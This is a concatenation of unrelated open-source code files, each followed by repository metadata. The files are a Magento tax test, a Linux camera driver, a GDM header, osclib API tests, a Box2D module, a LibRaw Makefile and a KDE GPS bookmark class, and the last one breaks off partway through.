This graph shows which files directly or indirectly include this file\+:\nopagebreak
\begin{figure}[H]
\begin{center}
\leavevmode
\includegraphics[width=350pt]{segmenter_8hpp__dep__incl}
\end{center}
\end{figure}
\subsection*{Classes}
\begin{DoxyCompactItemize}
\item
class \hyperlink{class_segmenter}{Segmenter}
\end{DoxyCompactItemize}
|
lopespt/PhD-Thesis
|
Docs/latex/segmenter_8hpp.tex
|
TeX
|
gpl-2.0
| 766
|
<?php
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
namespace Magento\Weee\Test\Unit\Pricing;
use Magento\Weee\Pricing\TaxAdjustment;
class TaxAdjustmentTest extends \PHPUnit\Framework\TestCase
{
/**
* @var TaxAdjustment
*/
protected $adjustment;
/**
* @var \Magento\Weee\Helper\Data | \PHPUnit_Framework_MockObject_MockObject
*/
protected $weeeHelperMock;
/**
* @var \Magento\Tax\Helper\Data | \PHPUnit_Framework_MockObject_MockObject
*/
protected $taxHelperMock;
/**
* @var \Magento\Framework\Pricing\PriceCurrencyInterface|\PHPUnit_Framework_MockObject_MockObject
*/
protected $priceCurrencyMock;
/**
* @var int
*/
protected $sortOrder = 5;
protected function setUp()
{
$this->weeeHelperMock = $this->createMock(\Magento\Weee\Helper\Data::class);
$this->taxHelperMock = $this->createMock(\Magento\Tax\Helper\Data::class);
$this->priceCurrencyMock = $this->createMock(\Magento\Framework\Pricing\PriceCurrencyInterface::class);
$this->priceCurrencyMock->expects($this->any())
->method('convertAndRound')
->will(
$this->returnCallback(
function ($arg) {
return round($arg * 0.5, 2);
}
)
);
$this->priceCurrencyMock->expects($this->any())
->method('convert')
->will(
$this->returnCallback(
function ($arg) {
return $arg * 0.5;
}
)
);
$this->adjustment = new TaxAdjustment(
$this->weeeHelperMock,
$this->taxHelperMock,
$this->priceCurrencyMock,
$this->sortOrder
);
}
public function testGetAdjustmentCode()
{
$this->assertEquals(TaxAdjustment::ADJUSTMENT_CODE, $this->adjustment->getAdjustmentCode());
}
public function testIsIncludedInBasePrice()
{
$this->assertFalse($this->adjustment->isIncludedInBasePrice());
}
/**
* @param bool $taxDisplayExclTax
* @param bool $isWeeeTaxable
* @param bool $weeeDisplayConfig
* @param bool $expectedResult
* @dataProvider isIncludedInDisplayPriceDataProvider
*/
public function testIsIncludedInDisplayPrice(
$taxDisplayExclTax,
$isWeeeTaxable,
$weeeDisplayConfig,
$expectedResult
) {
$this->weeeHelperMock->expects($this->any())
->method('isEnabled')
->willReturn(true);
$this->weeeHelperMock->expects($this->any())
->method('isTaxable')
->willReturn($isWeeeTaxable);
$this->taxHelperMock->expects($this->any())
->method('displayPriceExcludingTax')
->willReturn($taxDisplayExclTax);
$displayTypes = [
\Magento\Weee\Model\Tax::DISPLAY_EXCL,
];
$this->weeeHelperMock->expects($this->any())
->method('typeOfDisplay')
->with($displayTypes)
->will($this->returnValue($weeeDisplayConfig));
$this->assertEquals($expectedResult, $this->adjustment->isIncludedInDisplayPrice());
}
/**
* @return array
*/
public function isIncludedInDisplayPriceDataProvider()
{
return [
'display_incl_tax' => [
'tax_display_excl_tax' => false,
'is_weee_taxable' => true,
'weee_display_config' => false,
'expected_result' => true,
],
'display_incl_tax_excl_weee' => [
'tax_display_excl_tax' => false,
'is_weee_taxable' => true,
'weee_display_config' => true,
'expected_result' => false,
],
'display_excl_tax' => [
'tax_display_excl_tax' => true,
'is_weee_taxable' => true,
'weee_display_config' => true,
'expected_result' => false,
],
'display_excl_tax_incl_weee' => [
'tax_display_excl_tax' => true,
'is_weee_taxable' => true,
'weee_display_config' => false,
'expected_result' => false,
],
];
}
/**
* @param float $amount
* @param \Magento\Framework\DataObject[] $weeeAttributes
* @param float $expectedResult
* @dataProvider applyAdjustmentDataProvider
*/
public function testApplyAdjustment($amount, $weeeAttributes, $expectedResult)
{
$object = $this->getMockForAbstractClass(\Magento\Framework\Pricing\SaleableInterface::class);
$this->weeeHelperMock->expects($this->any())
->method('getProductWeeeAttributes')
->will($this->returnValue($weeeAttributes));
$this->assertEquals($expectedResult, $this->adjustment->applyAdjustment($amount, $object));
}
/**
* @return array
*/
public function applyAdjustmentDataProvider()
{
return [
[
'amount' => 10,
'weee_attributes' => [
new \Magento\Framework\DataObject(
[
'tax_amount' => 5,
]
),
new \Magento\Framework\DataObject(
[
'tax_amount' => 2.5,
]
),
],
'expected_result' => 13.75,
],
];
}
}
|
kunj1988/Magento2
|
app/code/Magento/Weee/Test/Unit/Pricing/TaxAdjustmentTest.php
|
PHP
|
gpl-2.0
| 5,732
|
/*
* platform_mt9m114.c: mt9m114 platform data initilization file
*
* (C) Copyright 2008 Intel Corporation
* Author:
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; version 2
* of the License.
*/
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/interrupt.h>
#include <linux/gpio.h>
#include <linux/delay.h>
#include <linux/atomisp_platform.h>
#include <asm/intel-mid.h>
#include <asm/intel_scu_ipcutil.h>
#include <media/v4l2-subdev.h>
#include "platform_camera.h"
#include "platform_mt9m114.h"
#include "platform_mt9e013.h"
int mt9m114_camera_reset;
int mt9m114_camera_power_down;
/*
* MFLD PR2 secondary camera sensor - MT9M114 platform data
*/
static int mt9m114_gpio_ctrl(struct v4l2_subdev *sd, int flag)
{
int ret;
if (mt9m114_camera_reset < 0) {
ret = camera_sensor_gpio(-1, GP_CAMERA_1_RESET,
GPIOF_DIR_OUT, 1);
if (ret < 0)
return ret;
mt9m114_camera_reset = ret;
}
if (flag) {
#ifdef CONFIG_BOARD_CTP
gpio_set_value(mt9m114_camera_reset, 0);
msleep(60);
#endif
gpio_set_value(mt9m114_camera_reset, 1);
} else
gpio_set_value(mt9m114_camera_reset, 0);
return 0;
}
static int mt9m114_flisclk_ctrl(struct v4l2_subdev *sd, int flag)
{
static const unsigned int clock_khz = 19200;
return intel_scu_ipc_osc_clk(OSC_CLK_CAM1, flag ? clock_khz : 0);
}
static int mt9m114_power_ctrl(struct v4l2_subdev *sd, int flag)
{
#ifndef CONFIG_BOARD_CTP
int ret;
/* Note here, there maybe a workaround to avoid I2C SDA issue */
if (mt9m114_camera_power_down < 0) {
ret = camera_sensor_gpio(-1, GP_CAMERA_1_POWER_DOWN,
GPIOF_DIR_OUT, 1);
#ifndef CONFIG_BOARD_REDRIDGE
if (ret < 0)
return ret;
#endif
mt9m114_camera_power_down = ret;
}
if (mt9m114_camera_reset < 0) {
ret = camera_sensor_gpio(-1, GP_CAMERA_1_RESET,
GPIOF_DIR_OUT, 1);
if (ret < 0)
return ret;
mt9m114_camera_reset = ret;
}
#endif
if (flag) {
#ifndef CONFIG_BOARD_CTP
if (!mt9e013_reset_value) {
if (mt9e013_reset)
mt9e013_reset(sd);
mt9e013_reset_value = 1;
}
#ifdef CONFIG_BOARD_REDRIDGE
gpio_direction_output(mt9m114_camera_reset, 0);
#endif
gpio_set_value(mt9m114_camera_reset, 0);
#endif
if (!mt9e013_camera_vprog1_on) {
mt9e013_camera_vprog1_on = 1;
intel_scu_ipc_msic_vprog1(1);
}
#ifndef CONFIG_BOARD_CTP
#ifdef CONFIG_BOARD_REDRIDGE
if (mt9m114_camera_power_down >= 0)
gpio_set_value(mt9m114_camera_power_down, 1);
#else
gpio_set_value(mt9m114_camera_power_down, 1);
#endif
#endif
} else {
if (mt9e013_camera_vprog1_on) {
mt9e013_camera_vprog1_on = 0;
intel_scu_ipc_msic_vprog1(0);
}
#ifndef CONFIG_BOARD_CTP
#ifdef CONFIG_BOARD_REDRIDGE
if (mt9m114_camera_power_down >= 0)
gpio_set_value(mt9m114_camera_power_down, 0);
#else
gpio_set_value(mt9m114_camera_power_down, 0);
#endif
mt9e013_reset_value = 0;
#endif
}
return 0;
}
static int mt9m114_csi_configure(struct v4l2_subdev *sd, int flag)
{
/* soc sensor, there is no raw bayer order (set to -1) */
return camera_sensor_csi(sd, ATOMISP_CAMERA_PORT_SECONDARY, 1,
ATOMISP_INPUT_FORMAT_YUV422_8, -1,
false, /*SOF */
flag);
}
static struct camera_sensor_platform_data mt9m114_sensor_platform_data = {
.gpio_ctrl = mt9m114_gpio_ctrl,
.flisclk_ctrl = mt9m114_flisclk_ctrl,
.power_ctrl = mt9m114_power_ctrl,
.csi_cfg = mt9m114_csi_configure,
};
void *mt9m114_platform_data(void *info)
{
mt9m114_camera_reset = -1;
mt9m114_camera_power_down = -1;
return &mt9m114_sensor_platform_data;
}
|
kamarush/ZTE_GXIn_Kernel-3.0.8
|
arch/x86/platform/intel-mid/device_libs/platform_mt9m114.c
|
C
|
gpl-2.0
| 3,608
|
/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-
*
* Copyright (C) 2007 William Jon McCann <mccann@jhu.edu>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
*/
#ifndef __GDM_SERVER_H
#define __GDM_SERVER_H
#include <glib-object.h>
G_BEGIN_DECLS
#define GDM_TYPE_SERVER (gdm_server_get_type ())
#define GDM_SERVER(o) (G_TYPE_CHECK_INSTANCE_CAST ((o), GDM_TYPE_SERVER, GdmServer))
#define GDM_SERVER_CLASS(k) (G_TYPE_CHECK_CLASS_CAST((k), GDM_TYPE_SERVER, GdmServerClass))
#define GDM_IS_SERVER(o) (G_TYPE_CHECK_INSTANCE_TYPE ((o), GDM_TYPE_SERVER))
#define GDM_IS_SERVER_CLASS(k) (G_TYPE_CHECK_CLASS_TYPE ((k), GDM_TYPE_SERVER))
#define GDM_SERVER_GET_CLASS(o) (G_TYPE_INSTANCE_GET_CLASS ((o), GDM_TYPE_SERVER, GdmServerClass))
typedef struct GdmServerPrivate GdmServerPrivate;
typedef struct
{
GObject parent;
GdmServerPrivate *priv;
} GdmServer;
typedef struct
{
GObjectClass parent_class;
void (* ready) (GdmServer *server);
void (* exited) (GdmServer *server,
int exit_code);
void (* died) (GdmServer *server,
int signal_number);
} GdmServerClass;
GType gdm_server_get_type (void);
GdmServer * gdm_server_new (const char *display_id,
const char *auth_file);
gboolean gdm_server_start (GdmServer *server);
gboolean gdm_server_stop (GdmServer *server);
char * gdm_server_get_display_device (GdmServer *server);
G_END_DECLS
#endif /* __GDM_SERVER_H */
|
mariodebian/gdm3
|
daemon/gdm-server.h
|
C
|
gpl-2.0
| 2,395
|
import osclib.api
import osc.conf
import os
import os.path
import vcr
import pytest
import requests
TESTROOT = os.path.join(pytest.config.rootdir, "osclib-tests")
OSCRC = os.path.join(TESTROOT, "oscrc", "oscrc_test_api")
VCRROOT = os.path.join(TESTROOT, "fixtures", "vcr")
def test_default_api(monkeypatch):
"""
default_api() should return a valid Api instance based on oscrc
"""
monkeypatch.setenv("OSC_CONFIG", OSCRC)
api = osclib.api.default_api()
assert isinstance(api, osclib.api.Api)
assert api.apiurl == "https://obs.example.com"
assert api.username == "grace"
def test_new_api():
"""
new Api instances should properly read authentication info
from osc config, or accept it from arguments.
"""
osc.conf.get_config(override_conffile=OSCRC)
api = osclib.api.Api("https://obs.example.com")
assert api.username == "grace"
api = osclib.api.Api("https://obs.example.org")
assert api.username == "sally"
api = osclib.api.Api("https://notobs.example.org", username="deborah", password="estrin")
assert api.apiurl == "https://notobs.example.org"
assert api.username == "deborah"
assert api.password == "estrin"
with pytest.raises(Exception):
osclib.api.Api("https://notobs.example.org")
with pytest.raises(Exception):
osclib.api.Api("https://obs.example.com", password="onlypassword")
@vcr.use_cassette(os.path.join(VCRROOT, "test_request.yaml"), filter_headers=['authorization'])
def test_request():
"""
Let's download a thing from the api.
This test assumes that the user running it has a valid oscrc file
with entries for api.opensuse.org.
"""
# first clear out osc.conf settings
osc.conf.get_config()
# download a thing
api = osclib.api.Api("https://api.opensuse.org")
r = api.request(["source", "openSUSE:Factory", "osc"])
assert isinstance(r, requests.Response)
assert 'name="osc"' in r.text
# check that we get to handle bad status
r = api.request(["source", "openSUSE:Factory", "does not exist"])
assert not r.ok
# check that method, query and data is supported
r = api.request(["source", "openSUSE:Factory", "does not exist"],
method="POST",
query={"hello": "world"},
data="see a thing")
assert isinstance(r, requests.Response)
assert not r.ok
@vcr.use_cassette(os.path.join(VCRROOT, "test_request.yaml"), filter_headers=['authorization'])
def test_get_xml():
"""
get_xml() should return a xml document, or raise an exception
TODO maybe get_xml should always return xml document?
This test assumes that the user running it has a valid oscrc file
with entries for api.opensuse.org.
"""
# first clear out osc.conf settings
osc.conf.get_config()
api = osclib.api.Api("https://api.opensuse.org")
root = api.get_xml(["source", "openSUSE:Factory", "osc"])
assert root is not None
assert root.tag == "directory"
assert root.get("name") == "osc"
with pytest.raises(requests.exceptions.HTTPError):
root = api.get_xml(["source", "openSUSE:Factory", "does not exist"])
|
matejcik/osc
|
osclib-tests/test_api.py
|
Python
|
gpl-2.0
| 3,172
|
#include <modules/Box2D/World.h>
#include <panda/object/ObjectFactory.h>
#include <memory>
namespace panda
{
using types::Path;
using types::Point;
class Box2D_World : public DockObject
{
public:
PANDA_CLASS(Box2D_World, DockObject)
Box2D_World(PandaDocument* doc)
: DockObject(doc)
, m_gravity(initData(Point(0, 10.f), "gravity", "The world gravity vector"))
, m_timestep(initData(1/60.f, "timestep", "The amount of time to simulate"))
, m_scaling(initData(50, "scaling", "The number of pixels in 1 meter in the simulation"))
{
addInput(m_gravity);
addInput(m_timestep);
addInput(m_scaling);
}
bool accepts(DockableObject* dockable) const override
{
return (dynamic_cast<Box2DDockable*>(dockable) != nullptr);
}
void reset() override
{
m_firstStep = true;
}
void beginStep() override
{
helper::ScopedEvent event("Box2D Step", this);
if (m_firstStep)
{
auto gravity = b2Panda::convert(m_gravity.getValue());
auto scaling = m_scaling.getValue();
m_timestepValue = m_timestep.getValue();
m_worldData = std::make_shared<WorldData>(gravity, scaling);
m_firstStep = false;
// Get the objects list
m_modifiers.clear();
for (auto object : getDockedObjects())
{
auto mod = dynamic_cast<Box2DDockable*>(object);
if (mod)
m_modifiers.push_back(mod);
}
for (auto mod : m_modifiers)
mod->initBox2D(*m_worldData);
}
else
{
const int velocityIterations = 6;
const int positionIterations = 2;
auto& data = *m_worldData;
for (auto mod : m_modifiers)
mod->preStepBox2D(data);
data.world().Step(m_timestepValue, velocityIterations, positionIterations);
for (auto mod : m_modifiers)
mod->postStepBox2D(data);
}
}
protected:
Data<Point> m_gravity;
Data<float> m_timestep, m_scaling;
bool m_firstStep = true;
float m_timestepValue;
std::vector<Box2DDockable*> m_modifiers;
std::shared_ptr<WorldData> m_worldData;
};
int Box2D_WorldClass = RegisterObject<Box2D_World>("Box2D/Box2D World").setDescription("Create a Box2D simulation");
//****************************************************************************//
namespace b2Panda
{
types::Point computeCenterOfMass(const types::Path& path)
{
if (path.points.empty())
return Point();
Point c;
for (const auto& pt : path.points)
c += pt;
int nb = path.points.size();
if (path.points.front() == path.points.back())
{
c -= path.points.back();
nb -= 1;
}
c /= static_cast<float>(nb);
return c;
}
}
//****************************************************************************//
b2PolygonShape WorldData::createStaticShape(const types::Path& path)
{
std::vector<b2Vec2> tmp;
tmp.reserve(path.points.size());
for (const auto& pt : path.points)
tmp.push_back(b2Panda::convert(pt / m_scaling));
b2PolygonShape shape;
shape.Set(tmp.data(), tmp.size());
return shape;
}
WorldData::DynamicShape WorldData::createDynamicShape(const types::Path& path)
{
auto center = b2Panda::computeCenterOfMass(path);
auto nbPts = path.points.size();
DynamicShape dyn;
dyn.path.reserve(nbPts);
for (const auto& pt : path.points)
dyn.path.push_back(b2Panda::convert((pt - center) / m_scaling));
std::vector<b2Vec2> tmp = dyn.path;
if (tmp.front() == tmp.back())
tmp.pop_back();
dyn.shape.Set(tmp.data(), tmp.size());
dyn.center = b2Panda::convert(center / m_scaling);
return dyn;
}
//****************************************************************************//
panda::ModuleHandle box2DModule = REGISTER_MODULE
.setDescription("Components to create physical simulations using the Box2D engine")
.setLicense("GPL")
.setVersion("1.0");
} // namespace Panda
|
cguebert/Panda
|
modules/Box2D/World.cpp
|
C++
|
gpl-2.0
| 3,690
|
all: library samples
# OpenMP support
#OPENMP_CFLAGS=-fopenmp
# Demosaic Pack GPL2:
#CFLAGS_DP2=-I../LibRaw-demosaic-pack-GPL2
#CFLAGS2=-DLIBRAW_DEMOSAIC_PACK_GPL2
# Demosaic Pack GPL3:
#CFLAGS_DP3=-I../LibRaw-demosaic-pack-GPL3
#CFLAGS3=-DLIBRAW_DEMOSAIC_PACK_GPL3
# Jasper support for RedCine
#CFLAGS+=-DUSE_JASPER -I/usr/local/include
#LDADD+=-L/usr/local/lib -ljasper
# JPEG support for DNG
#CFLAGS+=-DUSE_JPEG -I/usr/local/include
#LDADD+=-L/usr/local/lib -ljpeg
# LCMS support
#LCMS_DEF=-DUSE_LCMS -I/usr/local/include
#LCMS_LIB=-L/usr/local/lib -llcms
# LCMS2.x support
#LCMS_DEF=-DUSE_LCMS2 -I/usr/local/include
#LCMS_LIB=-L/usr/local/lib -llcms2
# Non thread-safe:
#CFLAGS_THREADS=-DLIBRAW_NOTHREADS
# Thread Safe:
#CFLAGS_THREADS=
# Common flags
# WARNING: library order matters
COMMON_LIBS=-lws2_32 -lm ${LCMS_LIB}
CLIBS=-L./lib -lraw ${COMMON_LIBS}
CFLAGS=-O4 -I. -w -DLIBRAW_NODLL ${OPENMP_CFLAGS} ${CFLAGS_THREADS} ${CFLAGS2} ${CFLAGS3}
DCRAW_LIB_OBJECTS=object/libraw_cxx.o object/libraw_datastream.o object/libraw_c_api.o object/dcraw_common.o object/dcraw_fileio.o object/demosaic_packs.o
library: lib/libraw.a
samples: bin/raw-identify bin/simple_dcraw bin/dcraw_emu bin/dcraw_half bin/mem_image bin/mem_image \
bin/unprocessed_raw bin/4channels bin/multirender_test bin/postprocessing_benchmark
install: library
@if [ -d /usr/local/include ] ; then cp -R libraw /usr/local/include/ ; else echo 'no /usr/local/include' ; fi
@if [ -d /usr/local/lib ] ; then cp lib/libraw.a /usr/local/lib/ ; else echo 'no /usr/local/lib' ; fi
install-samples: samples
@if [ -d /usr/local/bin ] ; then cp bin/[a-z]* /usr/local/bin/ ; else echo 'no /usr/local/bin' ; fi
# Samples
bin/raw-identify: lib/libraw.a samples/raw-identify.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/raw-identify samples/raw-identify.cpp ${CLIBS}
bin/unprocessed_raw: lib/libraw.a samples/unprocessed_raw.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/unprocessed_raw samples/unprocessed_raw.cpp ${CLIBS}
bin/4channels: lib/libraw.a samples/4channels.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/4channels samples/4channels.cpp ${CLIBS}
bin/simple_dcraw: lib/libraw.a samples/simple_dcraw.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/simple_dcraw samples/simple_dcraw.cpp ${CLIBS}
bin/multirender_test: lib/libraw.a samples/multirender_test.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/multirender_test samples/multirender_test.cpp ${CLIBS}
bin/postprocessing_benchmark: lib/libraw.a samples/postprocessing_benchmark.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/postprocessing_benchmark samples/postprocessing_benchmark.cpp ${CLIBS}
bin/mem_image: lib/libraw.a samples/mem_image.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/mem_image samples/mem_image.cpp ${CLIBS}
bin/dcraw_half: lib/libraw.a object/dcraw_half.o
gcc ${LCMS_DEF} ${CFLAGS} -o bin/dcraw_half object/dcraw_half.o ${CLIBS} -lstdc++
bin/dcraw_emu: lib/libraw.a samples/dcraw_emu.cpp
g++ ${LCMS_DEF} ${CFLAGS} -o bin/dcraw_emu samples/dcraw_emu.cpp ${CLIBS}
#Libraries
object/dcraw_common.o: internal/dcraw_common.cpp
g++ -c ${LCMS_DEF} ${CFLAGS} -o object/dcraw_common.o internal/dcraw_common.cpp
object/demosaic_packs.o: internal/demosaic_packs.cpp
g++ -c ${LCMS_DEF} ${CFLAGS} ${CFLAGS_DP2} ${CFLAGS_DP3} -o object/demosaic_packs.o internal/demosaic_packs.cpp
object/dcraw_fileio.o: internal/dcraw_fileio.cpp
g++ -c ${LCMS_DEF} ${CFLAGS} -o object/dcraw_fileio.o internal/dcraw_fileio.cpp
object/libraw_cxx.o: src/libraw_cxx.cpp
g++ -c ${LCMS_DEF} ${CFLAGS} -o object/libraw_cxx.o src/libraw_cxx.cpp
object/libraw_datastream.o: src/libraw_datastream.cpp
g++ -c ${LCMS_DEF} ${CFLAGS} -o object/libraw_datastream.o src/libraw_datastream.cpp
object/libraw_c_api.o: src/libraw_c_api.cpp
g++ -c ${LCMS_DEF} ${CFLAGS} -o object/libraw_c_api.o src/libraw_c_api.cpp
object/dcraw_half.o: samples/dcraw_half.c
gcc -c ${LCMS_DEF} ${CFLAGS} -o object/dcraw_half.o samples/dcraw_half.c
lib/libraw.a: ${DCRAW_LIB_OBJECTS}
-del lib\\libraw.a
rm -f lib/libraw.a
ar crv lib/libraw.a ${DCRAW_LIB_OBJECTS}
ranlib lib/libraw.a
# Clean
clean:
-del bin\\*.dSYM
-del lib\\lib*.a bin\\*.exe object\\*o
rm -f lib/lib*.a bin/*.exe object/*o
|
LoucIsZbib/NOVA
|
res/libraw/Makefile
|
Makefile
|
gpl-2.0
| 4,176
|
/** ===========================================================
* @file
*
* This file is a part of kipi-plugins project
* <a href="http://www.digikam.org">http://www.digikam.org</a>
*
* @date 2009-11-21
* @brief Central object for managing bookmarks
*
* @author Copyright (C) 2009,2010 by Michael G. Hansen
* <a href="mailto:mike at mghansen dot de">mike at mghansen dot de</a>
*
* This program is free software; you can redistribute it
* and/or modify it under the terms of the GNU General
* Public License as published by the Free Software Foundation;
* either version 2, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* ============================================================ */
#include "gpsbookmarkowner.h"
// Qt includes
#include <QStandardItemModel>
#include <QStandardPaths>
// KDE includes
#include <kactioncollection.h>
#include <kbookmarkmenu.h>
#include <kbookmarkmanager.h>
#include <klocalizedstring.h>
// local includes
#include "gpsundocommand.h"
#include "kipiimagemodel.h"
namespace KIPIGeolocatorPlugin
{
class GPSBookmarkOwner::Private
{
public:
Private()
: parent(0),
actionCollection(0),
bookmarkManager(0),
bookmarkMenuController(0),
bookmarkMenu(0),
addBookmarkEnabled(true),
bookmarkModelHelper(0)
{
}
QWidget* parent;
KActionCollection* actionCollection;
KBookmarkManager* bookmarkManager;
KBookmarkMenu* bookmarkMenuController;
QMenu* bookmarkMenu;
bool addBookmarkEnabled;
GPSBookmarkModelHelper* bookmarkModelHelper;
KGeoMap::GeoCoordinates lastCoordinates;
QString lastTitle;
};
GPSBookmarkOwner::GPSBookmarkOwner(KipiImageModel* const kipiImageModel, QWidget* const parent)
: d(new Private())
{
d->parent = parent;
// TODO: where do we save the bookmarks? right now, they are kipi-specific
const QString bookmarksFileName =
QStandardPaths::writableLocation(QStandardPaths::GenericDataLocation) +
QLatin1Char('/') + QStringLiteral("kipi/geobookmarks.xml");
d->actionCollection = new KActionCollection(this);
d->bookmarkManager = KBookmarkManager::managerForFile(
bookmarksFileName, QStringLiteral("kipigeobookmarks"));
d->bookmarkManager->setUpdate(true);
d->bookmarkMenu = new QMenu(parent);
d->bookmarkMenuController = new KBookmarkMenu(d->bookmarkManager, this, d->bookmarkMenu, d->actionCollection);
d->bookmarkModelHelper = new GPSBookmarkModelHelper(d->bookmarkManager, kipiImageModel, this);
}
GPSBookmarkOwner::~GPSBookmarkOwner()
{
delete d;
}
QMenu* GPSBookmarkOwner::getMenu() const
{
return d->bookmarkMenu;
}
bool GPSBookmarkOwner::supportsTabs() const
{
return false;
}
QString GPSBookmarkOwner::currentTitle() const
{
if (d->lastTitle.isEmpty())
{
return currentUrl().toString();
}
return d->lastTitle;
}
QUrl GPSBookmarkOwner::currentUrl() const
{
// TODO : check if this QUrl from QString conversion is fine.
return QUrl(d->lastCoordinates.geoUrl());
}
bool GPSBookmarkOwner::enableOption(BookmarkOption option) const
{
switch (option)
{
case ShowAddBookmark:
return d->addBookmarkEnabled;
case ShowEditBookmark:
return true;
default:
return false;
}
}
void GPSBookmarkOwner::openBookmark(const KBookmark& bookmark, Qt::MouseButtons, Qt::KeyboardModifiers)
{
const QString url = bookmark.url().url().toLower();
bool okay;
const KGeoMap::GeoCoordinates coordinate = KGeoMap::GeoCoordinates::fromGeoUrl(url, &okay);
if (okay)
{
GPSDataContainer position;
position.setCoordinates(coordinate);
emit(positionSelected(position));
}
}
void GPSBookmarkOwner::changeAddBookmark(const bool state)
{
d->addBookmarkEnabled = state;
// re-create the menus:
// TODO: is there an easier way?
delete d->bookmarkMenuController;
d->bookmarkMenu->clear();
d->bookmarkMenuController = new KBookmarkMenu(d->bookmarkManager, this, d->bookmarkMenu, d->actionCollection);
}
KBookmarkManager* GPSBookmarkOwner::bookmarkManager() const
{
return d->bookmarkManager;
}
// -----------------------------------------------------------------------------------------------------------------
class GPSBookmarkModelHelper::Private
{
public:
Private()
: model(0),
bookmarkManager(0),
kipiImageModel(0),
visible(false)
{
}
void addBookmarkGroupToModel(const KBookmarkGroup& group);
public:
QStandardItemModel* model;
KBookmarkManager* bookmarkManager;
KipiImageModel* kipiImageModel;
QPixmap pixmap;
QUrl bookmarkIconUrl;
bool visible;
};
void GPSBookmarkModelHelper::Private::addBookmarkGroupToModel(const KBookmarkGroup& group)
{
KBookmark currentBookmark = group.first();
while (!currentBookmark.isNull())
{
if (currentBookmark.isGroup())
{
addBookmarkGroupToModel(currentBookmark.toGroup());
}
else
{
bool okay = false;
const KGeoMap::GeoCoordinates coordinates = KGeoMap::GeoCoordinates::fromGeoUrl(currentBookmark.url().url(), &okay);
if (okay)
{
QStandardItem* const item = new QStandardItem();
item->setData(currentBookmark.text(), Qt::DisplayRole);
item->setData(QVariant::fromValue(coordinates), GPSBookmarkModelHelper::CoordinatesRole);
model->appendRow(item);
}
}
currentBookmark = group.next(currentBookmark);
}
}
GPSBookmarkModelHelper::GPSBookmarkModelHelper(
KBookmarkManager* const bookmarkManager, KipiImageModel* const kipiImageModel, QObject* const parent)
: ModelHelper(parent), d(new Private())
{
d->model = new QStandardItemModel(this);
d->bookmarkManager = bookmarkManager;
d->kipiImageModel = kipiImageModel;
d->bookmarkIconUrl = QUrl::fromLocalFile(QStandardPaths::locate(
QStandardPaths::GenericDataLocation, QStringLiteral("gpssync/bookmarks-marker.png")));
d->pixmap = QPixmap(d->bookmarkIconUrl.toLocalFile());
connect(d->bookmarkManager, SIGNAL(bookmarksChanged(QString)),
this, SLOT(slotUpdateBookmarksModel()));
connect(d->bookmarkManager, SIGNAL(changed(QString,QString)),
this, SLOT(slotUpdateBookmarksModel()));
slotUpdateBookmarksModel();
}
GPSBookmarkModelHelper::~GPSBookmarkModelHelper()
{
delete d;
}
QAbstractItemModel* GPSBookmarkModelHelper::model() const
{
return d->model;
}
QItemSelectionModel* GPSBookmarkModelHelper::selectionModel() const
{
return 0;
}
bool GPSBookmarkModelHelper::itemCoordinates(const QModelIndex& index, KGeoMap::GeoCoordinates* const coordinates) const
{
const KGeoMap::GeoCoordinates itemCoordinates = index.data(CoordinatesRole).value<KGeoMap::GeoCoordinates>();
if (coordinates)
{
*coordinates = itemCoordinates;
}
return itemCoordinates.hasCoordinates();
}
bool GPSBookmarkModelHelper::itemIcon(const QModelIndex& index, QPoint* const offset, QSize* const size, QPixmap* const pixmap, QUrl* const url) const
{
Q_UNUSED(index)
if (offset)
{
*offset = QPoint(d->pixmap.width()/2, d->pixmap.height()-1);
}
if (url)
{
*url = d->bookmarkIconUrl;
if (size)
{
*size = d->pixmap.size();
}
}
else
{
*pixmap = d->pixmap;
}
return true;
}
void GPSBookmarkModelHelper::slotUpdateBookmarksModel()
{
d->model->clear();
// iterate trough all bookmarks
d->addBookmarkGroupToModel(d->bookmarkManager->root());
}
GPSBookmarkModelHelper* GPSBookmarkOwner::bookmarkModelHelper() const
{
return d->bookmarkModelHelper;
}
void GPSBookmarkModelHelper::setVisible(const bool state)
{
d->visible = state;
emit(signalVisibilityChanged());
}
void GPSBookmarkOwner::setPositionAndTitle(const KGeoMap::GeoCoordinates& coordinates, const QString& title)
{
d->lastCoordinates = coordinates;
d->lastTitle = title;
}
KGeoMap::ModelHelper::Flags GPSBookmarkModelHelper::modelFlags() const
{
return FlagSnaps|(d->visible?FlagVisible:FlagNull);
}
KGeoMap::ModelHelper::Flags GPSBookmarkModelHelper::itemFlags(const QModelIndex& /*index*/) const
{
return FlagVisible|FlagSnaps;
}
void GPSBookmarkModelHelper::snapItemsTo(const QModelIndex& targetIndex, const QList<QModelIndex>& snappedIndices)
{
GPSUndoCommand* const undoCommand = new GPSUndoCommand();
KGeoMap::GeoCoordinates targetCoordinates;
if (!itemCoordinates(targetIndex, &targetCoordinates))
return;
for (int i=0; i<snappedIndices.count(); ++i)
{
const QPersistentModelIndex itemIndex = snappedIndices.at(i);
KipiImageItem* const item = d->kipiImageModel->itemFromIndex(itemIndex);
GPSDataContainer newData;
newData.setCoordinates(targetCoordinates);
GPSUndoCommand::UndoInfo undoInfo(itemIndex);
undoInfo.readOldDataFromItem(item);
